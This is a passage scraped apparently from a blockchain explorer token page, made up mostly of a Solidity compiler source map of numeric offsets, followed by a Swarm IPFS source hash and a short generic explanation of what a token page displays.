02:117;5552:4;5544:6;5540:17;5528:29;;5606:3;5598:4;5590:6;5586:17;5576:8;5572:32;5569:41;5566:128;;;5613:79;;:::i;:::-;5566:128;5132:568;;;;;:::o;5706:559::-;5792:6;5800;5849:2;5837:9;5828:7;5824:23;5820:32;5817:119;;;5855:79;;:::i;:::-;5817:119;6003:1;5992:9;5988:17;5975:31;6033:18;6025:6;6022:30;6019:117;;;6055:79;;:::i;:::-;6019:117;6168:80;6240:7;6231:6;6220:9;6216:22;6168:80;:::i;:::-;6150:98;;;;5946:312;5706:559;;;;;:::o;6271:329::-;6330:6;6379:2;6367:9;6358:7;6354:23;6350:32;6347:119;;;6385:79;;:::i;:::-;6347:119;6505:1;6530:53;6575:7;6566:6;6555:9;6551:22;6530:53;:::i;:::-;6520:63;;6476:117;6271:329;;;;:::o;6606:118::-;6693:24;6711:5;6693:24;:::i;:::-;6688:3;6681:37;6606:118;;:::o;6730:222::-;6823:4;6861:2;6850:9;6846:18;6838:26;;6874:71;6942:1;6931:9;6927:17;6918:6;6874:71;:::i;:::-;6730:222;;;;:::o;6958:474::-;7026:6;7034;7083:2;7071:9;7062:7;7058:23;7054:32;7051:119;;;7089:79;;:::i;:::-;7051:119;7209:1;7234:53;7279:7;7270:6;7259:9;7255:22;7234:53;:::i;:::-;7224:63;;7180:117;7336:2;7362:53;7407:7;7398:6;7387:9;7383:22;7362:53;:::i;:::-;7352:63;;7307:118;6958:474;;;;;:::o;7438:180::-;7486:77;7483:1;7476:88;7583:4;7580:1;7573:15;7607:4;7604:1;7597:15;7624:320;7668:6;7705:1;7699:4;7695:12;7685:22;;7752:1;7746:4;7742:12;7773:18;7763:81;;7829:4;7821:6;7817:17;7807:27;;7763:81;7891:2;7883:6;7880:14;7860:18;7857:38;7854:84;;7910:18;;:::i;:::-;7854:84;7675:269;7624:320;;;:::o;7950:229::-;8090:34;8086:1;8078:6;8074:14;8067:58;8159:12;8154:2;8146:6;8142:15;8135:37;7950:229;:::o;8185:366::-;8327:3;8348:67;8412:2;8407:3;8348:67;:::i;:::-;8341:74;;8424:93;8513:3;8424:93;:::i;:::-;8542:2;8537:3;8533:12;8526:19;;8185:366;;;:::o;8557:419::-;8723:4;8761:2;8750:9;8746:18;8738:26;;8810:9;8804:4;8800:20;8796:1;8785:9;8781:17;8774:47;8838:131;8964:4;8838:131;:::i;:::-;8830:139;;8557:419;;;:::o;8982:180::-;9030:77;9027:1;9020:88;9127:4;9124:1;9117:15;9151:4;9148:1;9141:15;9168:85;9213:7;9242:5;9231:16;;9168:85;;;:::o;9259:60::-;9287:3;9308:5;9301:12;;9259:60;;;:::o;9325:158::-;9383:9;9416:61;9434:42;9443:32;9469:5;9443:32;:::i;:::-;9434:42;:::i;:::-;9416:61;:::i;:::-;9403:74;;9325:158;;;:::o;9489:147::-;9584:45;9623:5;9584:45;:::i;:::-;9579:3;9572:58;9489:147;;:::o;9642:238::-;9743:4;9781:2;9770:9;9766:18;9758:26;;9794:79;9870:1;9859:9;9855:17;9846:6;9794:79;:::i;:::-;9642:238;;;;:::o;9886:115::-;9961:7;9990:5;9979:16;;9886:115;;;:::o;10007:218::-;10095:9;10128:91;10146:72;10155:62;10211:5;10155:62;:::i;:::-;10146:72;:::i;:::-;10128:91;:::i;:::-;10115:104;;10007:218;;;:::o;10231:207::-;10356:75;10425:5;10356:75;:::i;:::-;10351:3;10344:88;10231:207;;:::o;10444:298::-;10575:4;10613:2;10602:9;10598:18;10590:26;;10626:109;10732:1;10721:9;10717:17;10708:6;10626:109;:::i;:::-;10444:298;;;;:::o;10748:235::-;10888:34;10884:1;10876:6;10872:14;10865:58;10957:18;10952:2;10944:6;10940:15;10933:43;10748:235;:::o;10989:366::-;11131:3;11152:67;11216:2;11211:3;11152:67;:::i;:::-;11145:74;;11228:93;11317:3;11228:93;:::i;:::-;11346:2;11341:3;11337:12;11330:19;;10989:366;;;:::o;11361:419::-;11527:4;11565:2;11554:9;11550:18;11542:26;;11614:9;11608:4;11604:20;11600:1;11589:9;11585:17;11578:47;11642:131;11768:4;11642:131;:::i;:::-;11634:139;;11361:419;;;:::o;11786:235::-;11926:34;11922:1;11914:6;11910:14;11903:58;11995:18;11990:2;11982:6;11978:15;11971:43;11786:235;:::o;12027:366::-;12169:3;12190:67;12254:2;12249:3;12190:67;:::i;:::-;12183:74;;12266:93;12355:3;12266:93;:::i;:::-;12384:2;12379:3;12375:12;12368:19;;12027:366;;;:::o;12399:419::-;12565:4;12603:2;12592:9;12588:18;12580:26;;12652:9;12646:4;12642:20;12638:1;12627:9;12623:17;12616:47;12680:131;12806:4;12680:131;:::i;:::-;12672:139;;12399:419;;;:::o;12824:233::-;12964:34;12960:1;12952:6;12948:14;12941:58;13033:16;13028:2;13020:6;13016:15;13009:41;12824:233;:::o;13063:366::-;13205:3;13226:67;13290:2;13285:3;13226:67;:::i;:::-;13219:74;;13302:93;13391:3;13302:93;:::i;:::-;13420:2;13415:3;13411:12;13404:19;;13063:366;;;:::o;13435:419::-;13601:4;13639:2;13628:9;13624:18;13616:26;;13688:9;13682:4;13678:20;13674:1;13663:9;13659:17;13652:47;13716:131;13842:4;13716:131;:::i;:::-;13708:139;;13435:419;;;:::o;13860:236::-;14000:34;13996:1;13988:6;13984:14;13977:58;14069:19;14064:2;14056:6;14052:15;14045:44;13860:236;:::o;14102:366::-;14244:3;14265:67;14329:2;14324:3;14265:67;:::i;:::-;14258:74;;14341:93;14430:3;14341:93;:::i;:::-;14459:2;14454:3;14450:12;14443:19;;14102:366;;;:::o;14474:419::-;14640:4;14678:2;14667:9;14663:18;14655:26;;14727:9;14721:4;14717:20;14713:1;14702:9;14698:17;14691:47;14755:131;14881:4;14755:131;:::i;:::-;14747:139;;14474:419;;;:::o;14899:234::-;15039:34;15035:1;15027:6;15023:14;15016:58;15108:17;15103:2;15095:6;15091:15;15084:42;14899:234;:::o;15139:366::-;15281:3;15302:67;15366:2;15361:3;15302:67;:::i;:::-;15295:74;;15378:93;15467:3;15378:93;:::i;:::-;15496:2;15491:3;15487:12;15480:19;;15139:366;;;:::o;15511:419::-;15677:4;15715:2;15704:9;15700:18;15692:26;;15764:9;15758:4;15754:20;15750:1;15739:9;15735:17;15728:47;15792:131;15918:4;15792:131;:::i;:::-;15784:139;;15511:419;;;:::o;15936:180::-;15984:77;15981:1;15974:88;16081:4;16078:1;16071:15;16105:4;16102:1;16095:15;16122:194;16162:4;16182:20;16200:1;16182:20;:::i;:::-;16177:25;;16216:20;16234:1;16216:20;:::i;:::-;16211:25;;16260:1;16257;16253:9;16245:17;;16284:1;16278:4;16275:11;16272:37;;;16289:18;;:::i;:::-;16272:37;16122:194;;;;:::o;16322:191::-;16362:3;16381:20;16399:1;16381:20;:::i;:::-;16376:25;;16415:20;16433:1;16415:20;:::i;:::-;16410:25;;16458:1;16455;16451:9;16444:16;;16479:3;16476:1;16473:10;16470:36;;;16486:18;;:::i;:::-;16470:36;16322:191;;;;:::o;16519:181::-;16659:33;16655:1;16647:6;16643:14;16636:57;16519:181;:::o;16706:366::-;16848:3;16869:67;16933:2;16928:3;16869:67;:::i;:::-;16862:74;;16945:93;17034:3;16945:93;:::i;:::-;17063:2;17058:3;17054:12;17047:19;;16706:366;;;:::o;17078:419::-;17244:4;17282:2;17271:9;17267:18;17259:26;;17331:9;17325:4;17321:20;17317:1;17306:9;17302:17;17295:47;17359:131;17485:4;17359:131;:::i;:::-;17351:139;;17078:419;;;:::o
Swarm Source
ipfs://46e788f51bd5602ff18ede29fd5d244e5ddd6cc5a93dd34b7940fd8cbc2af27d
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.